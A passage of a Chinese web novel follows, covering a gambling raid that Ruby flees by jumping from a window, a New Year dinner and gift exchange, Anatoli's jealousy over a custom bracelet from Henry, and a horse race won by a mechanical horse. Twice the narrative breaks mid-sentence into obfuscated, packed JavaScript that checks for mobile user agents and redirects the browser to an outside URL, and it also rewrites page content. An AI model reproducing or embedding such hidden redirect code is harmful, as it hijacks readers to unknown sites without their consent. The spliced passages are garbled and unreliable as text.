他回答完便继续忙起了手里的测试。列昂尼德笑出声来,不再多言。 而露比火速翘班准备和牌友们相约共襄极乐。打牌!多是一件美事!还是翘班休息!带薪打牌!简直美得不能再美了,今晚还要偷偷去阿纳托利那里吃大餐,明天还是新年假期!天堂,不过如此! 这次马克西姆没有加入,列昂尼德拉来了另一位女士,露比对她的印象一直是比较严肃的,没想到其实是个相当爽快的人,可惜数学不是很好,对数字不太敏感的娜塔莉娅厘清规则废了一番功夫,但很快渐入佳境。 就在三人打得不亦乐乎的时候,棋牌室的门被一脚踢开了。 “不许动,安全署检查聚众赌博!” 这一声简直敲打了露比的灵魂,让她沉浸在快乐中的大脑骤然清醒。 是她找的这家店,她确认这完全是合法经营的店铺,她们打牌的金额也符合规定,到底哪里出了问题? 她来不及细想,因为有个更麻烦的问题需要应对。自己和列昂尼德都是兵分两路来这里的,生怕被人怀疑和阿纳托利有联系。 现在安全部要是查到自己和这两人在一起打牌,处不处罚都是次要的,自己是阿纳托利内应的事铁定暴露了。 不能待在这里,也不能使用魔力,而检查的人已经冲到门口了。列昂尼德和娜塔莉娅显然没有反应过来,还在面面相觑。对北地人来说,聚众赌博是个和禁酒一样的新鲜词汇,如果打牌算违法,那整个北方可真算法外之地。 “我去,你们这儿难道打牌都要坐牢?”娜塔莉娅非常不解。 “难怪露比上次都杀红眼了,可把孩子憋坏了。”列昂尼德恍然大悟。 好的,他俩还没反应过来问题的严重性。 露比急的像热锅上的蚂蚁,不可能使用魔法打出去,那只会让事态更糟糕,也不能待在这里,而安全部检查的人已经快杀过来了。 她当机立断,在另外两人都没回过神来的时候,从三楼的窗户一跃而下。 忙中生乱,她浮空魔法的咒语没有念好,落地不稳还扭了一下脚。 “抓住她!” 安全部的职员在窗户发号施令,一楼的职员鱼贯而出。她又不能动手,明明是守法公民却莫名其妙地被追缉了。 好在这家棋牌室离商业区很近,只要混进人群堆里,就不会被…… “就前面那个火把头,对红头发那个!最扎眼的……” 露比真的无语了,在拖着伤脚横冲直撞的时候,险些摔倒,但被这个好心的路人扶住了,她正要道谢。 “露比?”正在商业街选礼物的莱安娜困惑地看着她。露比仿佛抓住了救命稻草,快速说明情况: “我和列昂尼德他们打牌被抓了,可能是诬陷,有人在追我,我发色太显眼,总之你赶紧去帮列昂尼德他们。” 莱安娜反应迅速,立刻解下了自己的斗篷给露比裹上。露比这才摆脱了追捕,一瘸一拐地回到了研究所。 当她敲开研究所的门时,斯捷潘的声音幽幽地响起。 “没带钱?我以为你们要打到明天……” 他的话卡在了嘴边,震撼地看着露比一瘸一拐地走了进来。 “你应该确定是我进屋再开口的,如果刚才进来的是埃尔文主教,我们俩都完蛋了。”露比提醒他。 “每个人脚步声不一样。”他认真地解释。 “你这么厉害?我都瘸了你还能听出来?” “可以。”他点了点头。“所以发生了什么?” 等露比一五一十地说完之后,一向冷静的斯捷潘神色也为之一变。 “你也觉得我很倒霉对不对?”露比苦笑。 “你们圣都竟然会把打牌认定为违法行为。”他喃喃自语,语气无比震撼。 “你到底有没有同理心啊!” 露比不满地抱怨道。要不是自己脚现在不太方便,她真想踹对方一脚。 “我觉得反复确认你倒霉并不会让情况有好转,你现在需要治疗。” “……”该死,难道她不知道自己需要治疗吗?现在去治疗点万一撞上安全部排查的枪口上呢,研究所的医师也下班了。 露比叹了口气,不再回答对方没有意义的提案。 斯捷潘很快反应过来露比的担忧:“你是不是想今晚去用餐时找马克西姆治疗?” “对啊,现在唯一的问题就是我要怎么偷偷溜到你们宅邸了。”她苦笑着说。 “其实还有个办法,如果你信得过我,一般的脱臼我可以接回去,我帮很多人都接过…” “不行!”露比斩钉截铁地拒绝。天呐!她见过这家伙暴力拆零件的样子,万一他对自己拆了他作品一事余怒未消,不小心手重了可怎么办?而且自己应该只是扭到,不至于脱臼那么严重。 “那还有第二个方案。”斯捷潘顿了顿。 “是什么?”露比狐疑地看着他。 等她缩在集装箱被推出研究室的时候,内心已经毫无波动了。 …… 莱安娜在马车上给娜塔莉娅和列昂尼德解释清楚了事情的来龙去脉,还说了亨利对这事的态度。 “所以那个署长是出于个人原因故意给我们找麻烦?” 列昂尼德听到了什么不干净的东西一般,露出先当嫌弃的表情。 “公报私仇能这么乱来吗!而且哪来的私仇?我俩都不认识他。”娜塔莉娅冷笑着。 “是啊,完全不明白对方的动机。”莱安娜苦恼地叹了口气,“但不是没有好消息的,至少此事不是亨利的授意,那么就没有上升到防御司和安全部的合作上;露比反应及时,她也没有暴露;你们也没有受到莫须有的处罚,总体来说不算太糟糕。” 她说着总算是露出一个微笑,娜塔莉娅和列昂尼德也跟着松了口气。 “对了莱安娜小姐,您说您和亨利单独交流了,他会不会看出什么?” “他最多也只是觉得我短时间熟悉圣都的法规很奇怪,他不太可能联想到我的真实身份,毕竟二位也说过,我和过去完全是两张脸不是吗?” 二人点了点头,但神色中仍有担忧,毕竟如果不是这出闹剧,莱安娜就不会露这样一个破绽给亨利,露比也不用跟松鼠一样狼狈地破窗逃走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是?” “亨利给我的,在交谈完之后。” 莱安娜平静地回答道。 她不知道车厢的氛围为什么突然就变得有些怪异。 “也也就是说,这是您收到的第一份新年礼物吗?” “嗯……客观来说的话,是的。但我个人不觉得随手送出的东西算礼物。” 列昂尼德和娜塔莉娅内心警铃大作,但侧重各有不同。 列昂尼德:“完蛋了,已经完蛋了,阿纳托利从刚来圣都就去准备礼物了,结果被偶遇的人随手送的礼物抢了第一,这谁不发疯啊?” 娜塔莉娅:“随手送出?这种做工怎么可能是随手送的批发货!莱安娜不会被盯上了吧?” 两人都严阵以待地盯着她,倒是搞得莱安娜一头雾水。 “你们怎么这么看着我?” “我觉得这条手链不是随手送的,像是他准备了很久的。”娜塔莉娅好心地提醒道。 “不可能。”莱安娜笑着解释起来。“亨利又不能未卜先知,我今天出现在防御司完全是偶然,他又不知道今天会遇到我,他能随手拿个礼物出来,肯定是平时就会带一堆用来笼络人心的小玩意儿。” 娜塔莉娅想要反驳,但觉得对方说得很有道理,她暂时想不到其他可能性。 “这种随手给的东西算什么礼物……礼物?” 莱安娜的话卡在了喉咙里,一瞬间她的脸色变得很难看。 “礼物!见鬼!我给你们买的礼物还在商业街!” “但是这个时间会不会关门了?新年歇业都很早……” 马车顿时沉默得可怕。 莱安娜痛苦地扶额,叹了口气。 “我说可能……就是有没有一种可能,阿纳托利也没有那么期待新年礼物,他今年恰好也没有给我们准备礼物。”她试探道。 “绝无可能。” “那完蛋了。” 莱安娜闭上了眼睛。 71. 情敌? 几经波折,三人还是拿到了礼物。 主要靠娜塔莉娅,注意到了关门店铺旁边摆放的宣传立牌,判断店主是芭蕾舞演员希尔的舞迷。 三人辗转到了歌剧院寻觅一番,总算找到了店主,拿到了礼物,随后又去了武器铺取货,莱安娜似乎很早在这里订购了一把弓型魔导器。回到宅邸的时候已经快九点了。 阿纳托利面带微笑地坐在沙发上看着姗姗来迟的三位。这种时候莱安娜甚至宁可他冷着脸,这种笑容更让人觉得心里发怵。 “抱歉,我们路上因事耽搁了,回来得有点晚。” 莱安娜面不改色地辩解,身后两人默不作声开始缩成两团。 “哦?什么事情?据我所知今天三位都没有工作。” 他带着微笑平淡陈述,但言语间却是质问的意思。 “我们挑选礼物花费了一些时间……” “也就是说你们是今天才准备的礼物是吗?那还真是辛苦你们了。” 莱安娜心中警铃大作,瞥了眼娜塔莉娅和列昂尼德,三人面面相觑憋不出一句话。眼里都是异口同声的完蛋。 “不是今天才准备的,我只是今天才去取,毕竟需要花费时间……”她卖力地解释,但不知道气头上阿纳托利会不会相信。 “那你们去取东西为何会花费这么长的时间?”他狐疑地盯着三人。 “你们是不是有什么事瞒着我?” “没有。”莱安娜说得斩钉截铁,眼神没有一点动摇。 “新年取货的人这么多,我们排队不是很正常的事情吗?有人在工作上犯了糊涂,耽搁了我们的时间,害我们折返回去更换,所以耽搁不少时间。” 娜塔莉娅和列昂尼德简直要给她竖大拇指的程度。但阿纳托利听到如此合理的解释不仅没有相信,连脸上那伪装的笑容都全褪去了。 “莱安娜你们还准备瞒我多久?” 他有些埋怨地三人一眼,然后拿了一个木匣子出来。 “这是亨利送来的新年礼物。” 阿纳托利眼神意味深长。 莱安娜如临大敌,眼睁睁地看阿纳托利打开匣子,从里面拿出了一叠纸递给她。 是棋牌类民间社团资格的申请表,同意处已经签好了安全部长官的字。 “亨利陛下告诉我,我的下属们娱乐时不幸选错了地点,正好选到了一处资质过期的地方,差点造成误会……他建议你们注册一个社团。”说到此处他提高音量。“我觉得陛下的建议很中肯啊,申请成功后你们爱在哪里打牌就在哪里打,想打多久就打多久。” 说着眼神就落到了列昂尼德和娜塔莉娅身上。 “你们可以啊,放假第一天就去打牌,还差点被抓进治安署里!那牌两个人打不了,露比应该也在,要不是她跑的快,咱们内应的事情就会暴露。如果没有莱安娜在现场给你们斡旋,今天这顿饭我还要给你们送到拘留室是吗?” 自知理亏的娜塔莉娅和列昂尼德大气都不敢出。莱安娜瞥了眼两个可怜的同伴,准备再找补两句。 “也不能全怪他们,这事情……” “对,还有你,莱安娜。”他用一种更严肃的眼神盯着她。 “我?”莱安娜觉得阿纳托利的指责莫名其妙,这事还是她摆平的呢。 “娜塔莉娅和列昂尼德过去从不会瞒我,这次的隐瞒是你的主意。” 莱安娜悻悻地冷哼了一声,这倒是无可辩驳。阿纳托利瞥了她一眼,继续补充道: “你知道亨利还和我说了什么吗?他说他没想到能在安全部碰到你,觉得很投缘,他很高兴能收到你的祝福,也很荣幸能成为新年第一个送你礼物的人。” 娜塔莉娅:! 列昂尼德:! 莱安娜:? 列昂尼德和娜塔莉娅仿佛听到了一阵雷声,完蛋了,全完了,他俩知道阿纳托利为了这个第一煞费苦心,结果半路被偶遇的人随手截了。这谁不疯? 亨利的行为也是刷新了他们的认知,这是在干嘛? 莱安娜原本下意识觉得有些心虚,但一细想只觉得莫名其妙,自己又没做错事,阿纳托利怎么一副兴师问罪的口气,愈发理直气壮起来。 “我觉得那不算礼物,他能在那里遇见我是偶然,既然能随手拿出来小礼物,想必他身上带了不少类似的东西,准备随机笼络人心吧。” 她平静地解释道。 “那为什么你要隐瞒这件事?” “这不是怕你担心吗?我和他见了面,你一定会担心我身份暴露的。”她有些疲惫地叹了口气,“至于这件东西,我原本就准备之后换个地方卖掉,在圣都卖掉容易被发现。” 她说着拿出了一个小绸袋,扔给了阿纳托利。“既然你现在知道了,那之后帮我交给萝丝吧,她应该有门路悄无声息地折价。” 阿纳托利接过那东西,没有打开,他看了下莱安娜的神色,全然没把这件东西当回事儿,神色终于稍微松动,点了点头。 娜塔莉娅和列昂尼德不由得捏了把汗,还好阿纳托利的第一名保住了。而莱安娜还没明白对方的情绪为什么忽上忽下,全当那是对自己教唆娜塔莉娅二人隐瞒的不满。 把话说开后,严肃的氛围终于被节日的欢乐淹没。但斯捷潘和露比过了很久才到,阿纳托利询问起了原因,却得到了非常震撼到答案。 “集装箱出了一些问题,我在门口锯开花了些时间。”斯捷潘云淡风轻地说。 而一旁已经治疗好脚踝的露比已经欲哭无泪,谁懂被困在箱子里,不能动弹,外面还有电锯的声音有多恐怖?她只能反复安慰自己,否极泰来否极泰来,今年年底倒霉透顶了,明年一定能顺利的! 人都到齐了后大家终于围坐在了桌前开始享用美食。厨师这顿饭可谓是拿出了十足的功力。阿纳托利他们没有什么复杂的进餐规矩,菜肴做好后全放在了桌上。 红酒炖牛肉慢炖了三小时有余,酒香浸透了每一根肉丝,瞬间就能俘获人的味蕾;无花果酱搭配鹅肝简直是绝妙,无花果酱的甜度比其他果酱甜度更低,恰到好处地呼应了鹅肝的细腻清香;奶酪火锅、油封鸭腿、烤蜗牛这些经典菜品做得登峰造极,连擅长烹饪的露比也来不及点评,忙着埋着头大快朵颐。 除了这些,厨师考虑到在场大家来自北地的人很多,还现学现做了一道土豆沙拉。甜品有可丽饼、歌剧院蛋糕、车轮泡芙。 厨师的一家人都受邀请来到了圣都,他的大女儿已经十四岁了,小女儿八岁,为了照顾小朋友,还做了一大份薯条。没想到斯捷潘竟然放着一桌珍馐不吃,吃了薯条,露比只觉得他没品。 而为了补偿露比,毕竟她可是为了不暴露当机立断跳窗而逃,还伤了脚。娜塔莉娅拿出自己珍藏多年的酒补偿她。她觉得露比应该喝不惯北地的高度酒,特意选的葡萄酒。但其实度数也比正常的果酒高许多。 露比对于酒没有太多研究,只觉得这酒很特别,竟然比一般的酒香甜,连喝了好几杯之后怀疑娜塔莉娅在诓她,不然怎么跟喝果汁一样一点感觉都没有? 等到交换礼物的时候就更加有趣了。列昂尼德发现阿纳托利送给了自己一副限量版的联名卡牌,如果是一天前他会觉得高兴,但现在看到这副牌只觉得哭笑不得。 露比看到高阶魔兽的魔核时完全压不住嘴角,娜塔莉娅和斯捷潘对阿纳托利的礼物也相当满意,如果不是列昂尼德和露比拦着,娜塔莉娅今晚就要去酒庄醉生梦死,斯捷潘今晚就要在实验室捣鼓他的新零件。 而莱安娜收到礼物的时候非常意外,她肯定了阿纳托利的品味,至少这次的装置比上次的美观多了。开启的方式也更加隐蔽,只用按动特定的按键。 但阿纳托利没告诉她这装置还有防御的功能,莱安娜又不是没有没有铤而走险过,要是让她知道还有被动防御,日后战斗里会不会做出更冒险的举动?他可不敢让这位冒险家知道自己有道保命的咒语。 而他收到的礼物则五花八门,娜塔莉娅给他和莱安娜定制了一对暗器胸针,控制器做成了对戒的样子,只要拇指按照一定频率按动戒指内侧的按钮就能发动。 阿纳托利收到这份礼物的时候感激地看着娜塔莉娅,真想立刻给她涨工资啊。列昂尼德则送了大家赛马大会的门票,以及他亲手戳的羊毛挂坠,据娜塔莉娅吐槽,毫无手工天赋的列昂尼德已经做坏了一箩筐的实验品了。斯捷潘的礼物更是让阿纳托利大开眼界,他竟然重新打造了提拉米苏2.0。 “这不是就一匹马吗?为什么说送给我们所有人?” 阿纳托利困惑地看着在室内走走停停的仿生魔导器,啊,它又开始咀嚼露比的头发了。 “您会知道的。” 阿纳托利很困惑,但没有再问,斯捷潘这么说一定有他的道理。 至于莱安娜送他的礼物,是一把弓,他很意外,因为自己几乎不用弓箭,而且打造这种品级的武器至少需要两三个月,莱安娜从什么时候开始准备的?他原本准备当场问问,但可怜的莱安娜在掩护露比逃走时出让了斗篷,用餐时脸色就不对劲,滴酒没沾脸却红了起来,一碰额头才发现已经高烧了。 病人服药后便上楼休息,没有继续参与后续的娱乐,可惜马克西姆饭后已经兴高采烈的穿着奇装异服出门了,阿纳托利送他的门票的表演就在今天,医生一时半会儿回不来,莱安娜也别指望有特效药了。 娜塔莉娅和列昂尼德确信每人敢查到这里来,饭后便相视一笑,列昂尼德拿出了那套限量版卡牌。 “打吗?” “打!” 他们炙热的目光再次移向露比,却没找到人。 坐在沙发上欣赏提拉米苏的斯捷潘这才提醒道:“她刚去庭院外的露台了,那里能看到烟花。” “哦,那我去叫她回来。”娜塔莉娅刚要起身,列昂尼德就拉住了她。 “我们还要洗牌呢,斯捷潘反正你也没事做不是吗?你去叫她。” 斯捷潘面无表情地离开了大厅,提拉米苏老老实实地跟在了他的后面。 娜塔莉娅随着关门声发出一声感叹:“女神在上。”然后和列昂尼德相视一笑。 “还得是你!” “不愧是我!” …… 露比此时正瘫在躺椅上,娜塔莉娅没诓她,这酒的后劲有点大,她原本是来看烟花的。 好极了,现在眼睛出了重影,一个烟花看着像一片,怎么不算她赚了呢?她迷迷糊糊地睡着了,正做着美梦,但很快被人搅合了。 斯捷潘没有一点共情能力地把她叫醒。她揉搓着眼睛,看着眼前有三个脑袋的斯捷潘。 “醒了?快起来,自己走回去,列昂尼德他们在等你玩牌,我要去研究所试新零件。” 露比没有说话,斯捷潘以为这人没完全清醒,想再叫叫她。 谁料她突然煞有介事地说: “斯捷潘,你知道你像什么吗?” “我像什么?”斯捷潘朝她走近了一步,似乎很好奇对方能憋出什么新奇的烂玩笑。 “不……不是像,你就是!” 这个显然已经头脑不清醒的人抬起头来,琥珀色的眼睛认真地盯着他,仿佛即将脱口而出的是什么反复实验后的权威数据。 “我是什么?”他蹲下身和她平视。 “你就像冬天里冻得又冷又硬的……”她显然已经快断片了,说出来的话断断续续。 “冰?”斯捷潘猜测道,这种评价他倒不是第一次听。 “狗屎。” 露比认真地说,斯捷潘眼睛微微睁大。 “又冷又硬还臭!” 她似乎还嫌不够,又补上了一句,说着自己还笑出声来,像是出了口气。 斯捷潘眨了眨眼,随后拿出了随身携带的一颗留影石。 “你刚说我是什么?” “臭狗屎。” “你觉得研究所埃尔文主教是什么?” “聪明的天才……可惜他好小一只……聪明的矮土豆。” “你觉得阿纳托利是什么?” “唔……两幅面孔的大尾巴狼……” “我是什么?” “臭狗屎……”说她迷糊吧,在斯捷潘是狗屎的事情上有着接近清醒的坚定。 说完这句话之后她就把脑袋耷拉了下去,彻底断片了。 “很好。”斯捷潘关掉了留影石。 朝提拉米苏比了个手势,它哒哒哒地跑了过来,斯捷潘抄起露比挂到了提拉米苏的背上,转身朝着室内走去。 斯捷潘因为算牌过于厉害被禁赛了,而阿纳托利的手气糟糕到连对手都觉得毫无游戏体验,因此在露比倒下后,列昂尼德和娜塔莉娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119007|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩不了牌了。 但他们并不觉得遗憾,娜塔莉娅护送奥菲莉亚回来后,列昂尼德就给她快速补充了圣都外二人的亲密互动、以及近日阿纳托利含蓄的开屏。这个新年她亲眼看了多少出好戏,此时两人都默契地露出了餍足的笑容。 而安顿好莱安娜的阿纳托利也在此时心满意足地下楼。 “莱安娜主教她还好吗?”娜塔莉娅关切道。 “不严重,她喝了药已经睡下了。” “那就好,难怪您看上去心情不错。” “是的,风寒并不严重,而且她已经答应我了,明天下午的赛马大会她要去看。”他眼里满是憧憬。“今年我是第一个送她新年礼物的人。” 阿纳托利难得露出如此得意的表情,他这副模样简直像趾高气扬的大白鹅。 但这句话瞬间让娜塔莉娅想起了一些事,她有些犹豫是否要提醒自己的长官,思来想去,她还是开口了: “长官,就是,莱安娜客观上收到的第一份新年礼物难道不是亨利……” 列昂尼德瞪大眼睛朝她使了个眼色,怎么提这事呢?娜塔莉娅没有理会对方的阻挠,她觉得自己有提醒阿纳托利的义务。 “但莱安娜不是说了那是随机分发的玩意儿吗?她认为那不算是礼物。” 阿纳托利颇有底气地反驳道。 “您有看过那东西是什么吗?”娜塔莉娅认真地看着他。 阿纳托利有些狐疑地拿出了那个袋子,实不相瞒,他完全没怀疑过莱安娜的话,而且莱安娜都让他找萝丝去折价了,显然不重视这东西,怎么可能…… 他看着那串手链,思绪仿佛在一瞬间凝固。成为第一的喜悦开始摇摇欲坠。 “我认为这种工艺繁琐、价格不菲的饰品,不太像是随机分发的小礼品。”娜塔莉娅坦言道。 “不过我也无法解释,为什么亨利陛下能够预料到偶遇莱安娜,从这个角度上来说,莱安娜小姐随机礼品的推测确实更合理。” “也有可能陛下是真的很有钱呢?谁知道王室还有多少家底?”列昂尼德补上了一句。 可恶,如果列昂尼德的推测是真的,阿纳托利觉得更生气了。那岂不是自己精心准备的礼物被别人随手送的玩意儿比了下去? 好生气!他真这么有钱? 娜塔莉娅接着说:“我说这些只是提醒您小心亨利,我们总感觉他有些嗯……别有用心。” 她没有察觉到阿纳托利的脸色变得有些难看,而列昂尼德注意到了这点立刻找补: “别管皇帝那收买人心的示好了,都不是特意准备的东西怎么能算礼物呢?而且您没有输!瞧瞧莱安娜小姐都把亨利送的当废品交给您处理了,在她心里你的礼物不才是第一位的吗?随手送的礼物再有价值终究比不上心意。” 列昂尼德对症下药,阿纳托利药到病除,心情又调理好了一些。 在和心理委员畅聊半个钟头后,阿纳托利得出了是自己过于风声鹤唳的结论,便不再把亨利放在眼里,放放心心地上楼睡觉。 睡前他小心翼翼地打开了隔壁莱安娜的门,想看下她的风寒是否有好转,他刚旋转门把手,里面就传来了带着鼻音的声音。 “怎么了?”莱安娜没有起身,蜷在被子里揉了揉眼睛。 阿纳托利以为她喝了药能睡得深一些的。 “抱歉,我来看看你的情况,好些了吗?” “已经没有全身发冷的的感觉了,过了今晚就会有好转,我答应了你明天一起去的,不必担心。”她说话的鼻音仍然有些重。 阿纳托利站在门口有些犹豫,过了会儿才开口: “我可以进来吗?有件事情想问你。” “当然。” 得到首肯后他坐在了床边,组织着语言: “是关于礼物的事情。我不常用弓箭,那把弓是特制的,材料很特殊,打造好至少需要两三个月,我们回来的时间很短,根本来不及打造……” 他东一句西一句地说着,就是不敢说出内心真正的担忧,莱安娜倒是洞察了他的心思。 “阿纳托利,你是在担心这把弓其实是我给其他人打造的,但因为时间仓促所以把给预备给别人的东西送给你了吗?” “我其实也没有那么在意礼物,如果你原本就有其他安排,就按照你原计划……” “这把弓是特意给你打造的。” 莱安娜有些无奈地笑了。 “你忘记了吗?你曾在和我对练的时候说过,所有武器里你最不擅长弓箭,未来你也要克服这个弱点。那时候我就想到未来送你一把趁手的弓了。” “但你到底怎么做到几个周内就打造好的?” “不是几个周,是八年,阿纳托利。”莱安娜笑着摇了摇头。 “这弓是我八年前就准备好的礼物。” 房间安静得可怕,浓重的昏暗将两人的心绪酝酿得更加复杂。 “那时候你走得太匆忙,它还没打造好你就已经离开南方了……不过现在总算送出手了。” 阿纳托利闻言只觉得百感交集,说不出来是喜悦更多还是惆怅更多。他们还闲聊了一下其他的事情,聊了没多久后莱安娜就的眼皮就合了上去,这次她睡得很沉。 他准备离开,正准备帮对方裹紧被子,把那只不安分的手放回被窝里。看着她的手腕,阿纳托利的耳边突然响起了很多声音。 “不太像是随机分配的小礼物。” “都不是特意准备的东西怎么能算礼物。” “我和阿琳娜夫人很投缘,能够第一个给夫人送上新年祝福和礼物,是我的荣幸。” ……… 他灰色的眼眸闪动,在黑暗中散发着戒备的光,阿纳托利能听见自己的心跳声越发清晰。 他鬼使神差地拿出了那条手链。如果是按照他们的推测,亨利准备了一堆这样的东西收买人心,那手链的大小不可能完美地贴合。 他屏住呼吸,托起莱安娜的手,把那条银色的手链绕过了手腕。 “咔哒。” 卡扣扣上的一瞬间,阿纳托利的眼瞳一颤,手链上的海豚和波浪在她爱人的手腕上环绕嬉戏,栩栩如生。手链的大小非常完美,这是定制的礼物。 阿纳托利盯着这串泛着银光的东西,这不是一个无关紧要的祝福,这是别有用心的觊觎。 72. 追杀已至 新年第二天,莱安娜病情有所好转,下午完全可以和阿纳托利他们一起去看赛马会。 马克西姆在早晨十点回到了宅邸,熬了大夜欣赏艺术的他得知下午还有场盛会,只能快速补觉,再三叮嘱娜塔莉娅和列昂尼德务必叫醒自己。 斯捷潘一大早便出去了,像是对赛马会没有一点兴趣的样子,但送上门票的列昂尼德却一点都不失落。 露比在快中午的时候清醒了过来,看到了斯捷潘给她留下的便签‘十二点前到研究所,否则改你农用魔导器设计图数据’。虽然不知道对方过年第一天发什么疯去研究所,露比还是骂骂咧咧地赶过去了。 阿纳托利按理应该是非常愉快的,但今天他却有种微妙的情绪在身上。莱安娜很困惑,明明昨晚自己睡着前他看着心情不错。总不是因为自己没熬夜陪他聊天他就不开心了吧?莫名其妙。 但对方最近总是有些情绪化,莱安娜倒也习惯了,想着可能是圣都压力太大,精神状态受了刺激有波动倒是也能理解。 等下午一行人来到赛马场的时候,阳光灿烂,他们刚到场内竟然碰到了寇尔和哈克。这才知道,原来列昂尼德也给他俩送了门票。 她正准备和阿纳托利、娜塔莉娅讨论押哪一匹,列昂尼德就斩钉截铁地给出了答案。 “六号!你们全押六号!一定不会输!” 莱安娜和其他人困惑地看着他,他似乎胜券在握。出于对朋友的信任,加上本就是重在参与的娱乐,莱安娜他们押了六号。寇尔似乎很犹豫,本就微薄的工资不太愿意参与这样的赌局,没想到列昂尼德态度强硬。 “寇尔,你听我的,至少押两个金币!” “长官,我现在还是合同工,工资一个月才四个银币。”寇尔有些无奈。 “我借钱给你押,傻孩子,千万不能错过这千载难逢的机会!” 他说得眉飞色舞。但周围的人却投来了异样的目光。 “快看这有傻子押六号,六号马匹的马种普通得不能再普通,而且还从没有参赛经验。” “那你押几号。” “当然是五号,那可是阿哈尔捷金马!” 但对这些质疑,列昂尼德置若罔闻,胜券在握。阿纳托利满腹疑惑,但列昂尼德这样做一定有他的道理。出于对列昂尼德博弈类游戏的信任,他也押了不少。 主持人也开始介绍起了各个马匹,五号瞬间就吸引了全场的注意,那是一匹白金色的马,踏风而来,像是优雅的精灵。 “五号名叫流光,是非常优秀的阿哈尔捷金马,其主人不愿意透露姓名,但她的优秀毋庸置疑,她能否为主人赢得荣誉呢?我们拭目以待……” “啊,我认得这匹马。”莱安娜神情复杂。“这是卡梅里亚送给维克多的礼物。” “那家伙不是被监禁了吗?这都不影响他参加娱乐比赛。”阿纳托利不知道从哪里开始吐槽。 “他肯定押了不少钱。”莱安娜不满地皱着眉,随后叹了口气,阿哈尔捷金马以速度出名,她曾经骑过流光,速度不容分说,赢的可能性很大,可能这次他们的钱要打水漂了。一想到维克多能赢她就有些不爽。 而在这时,解说员的声音再次响了起来。 “接下来要给大家介绍非常特别的六号!来自科研所的提拉米苏!” 莱安娜、阿纳托利、娜塔莉娅目瞪口呆,正在喝水的马克西姆差点呛到。 “这都可以?那不是仿生魔导器吗?” 莱安娜一时间觉得这些游戏的规则挺让人摸不着头脑的。 而解说员的介绍解答了她的困惑。 “这匹马因为意外受伤,腿部骨折、心脏受损,但研究所的魔导器新技术,让它重新站了起来,魔法赋予了它二次生命,经委员会认定,它仍符合参赛资格……” 阿纳托利和莱安娜总算明白,为什么列昂尼德对斯捷潘不同行一点都不失望了,他没在观众席,他在选手席,难怪昨晚斯捷潘说提拉米苏是送给大家的礼物。 众人想到自己下的注,还有赔率。好嘛,如果赢了还真是份大礼。 提拉米苏昂首阔步,趾高气扬地踏上赛场,俨然一副王者风范。 视力极佳的阿纳托利率先注意到另一个问题。 “那个,提拉米苏的骑手,好像是红头发的……” 他再定睛一看,确定了,不会错的! “露比!”阿纳托利十分笃定。 莱安娜想吐槽都不知道从何开口。 比起斯捷潘是怎么劝说委员会同意魔导器辅助的马匹参加比赛的,她更好奇斯捷潘用了何种办法说服露比当骑手。 比赛开始,提拉米苏一骑绝尘,将流光远远地甩在了身后,他仿佛有自己的想法,没有拼劲全力地跑,而是离第二名的流光不远不近,每当流光快要接近,它就加速甩掉对方。 侮辱性很强的一种跑法。 最后毫无悬念地获得了胜利,开心地在马场里撒起欢来,第一次骑‘机械马’的露比又觉得刺激又觉得腿脚发软,扶着流光就走到了休息室。斯捷潘在那里等着她,二人要借这个机会宣传他们新研发的技术,为新型魔导器的推广打下基础。 娜塔莉娅和列昂尼德已经沉浸在发财的喜悦中了,寇尔和哈克完全没想到自己竟然会有这么一笔横财。 全世界最悲伤的人是全押流光,被关押在家的维克多主教。 “怎么可能?我的流光怎么可能会输!你说那匹马叫什么东西?提拉米苏?你说它是魔导器?赔率是多少!”他在自己的宅邸无能狂怒。 …… 泰西防线的新年同样热闹。 那座冰冷的钢铁怪物似乎在这个时候褪去了钢铁的外壳,短暂地露出一点炙热柔和的心脏。 奥菲莉亚今天从书库学习了一会儿,把给莱安娜报平安的信写交给海姆后便去帮忙了,听娜塔莎大姐姐说,每年的这个时候,大家会围在一起喝热乎乎的热汤,吃一种很特别的土豆沙拉,听说今年还有蜂蜜奶油蛋糕…… 但这些防线外的亚瑟和罗杰都吃不到,也看不到了。 她的表情逐渐失落,一旁的娜塔莎像是看出了她的内心,随即问道: “奥菲莉亚,你怎么忧心忡忡的?” “我觉得很遗憾,亚瑟和罗杰他们出任务去了,今天明明是新年,但他们只能躲在监测点,嚼干面包。” “不会哦,我们新年会给监测点送特别食物的,他们也能吃到的。”娜塔莎补充道。 “也就是说,今天会有去荒原监测点的马车吗!” “当然。” 奥菲莉亚的眼睛里闪着光,她有了一个主意。 当夜色降临,新的一年将要来临时候,亚瑟打着哈欠,罗杰仍盯着没什么变化的仪器。 就在二人不得不感叹新年真是冷清的时候,却收到了一个惊喜,防线给他们送上了特别的新年补给。 当亚瑟和罗杰看着满满当当的三个密封箱子时,心里都快暖得说不出话了。虽然防线的不少人对他们总是冷着脸,但竟然记挂着两个远在荒原的异乡人,他们似乎没有被新年遗忘。 “这里面可是好东西哩!食堂各种美食都选了一小部分,不过因为你俩要检测地脉波动,就没有放酒,只有果汁。祝你们新年快乐!两位年轻人!” 运输的工作人员笑着说了祝福,随后便离开了,听说他还要给附近的流民送一些物资。 “我来看看里面是什么好东西!”亚瑟跃跃欲试,准备打开箱子,箱子却自己动了一下。 “啊啊啊啊啊啊!罗杰!罗杰!见鬼了啊!” 他一下子缩到了检测室的闸门后。 “别怕,是我啦。”箱子里的声音有气无力。 “奥菲莉亚?”亚瑟狐疑地帮她把盖子的扣子解开。探出脑袋的奥菲莉亚贪婪地呼吸着新鲜空气。 “累死我了,找了个空箱子躲着,谁想到运输的工作人员这么认真,反手就把扣子也扣上了。” 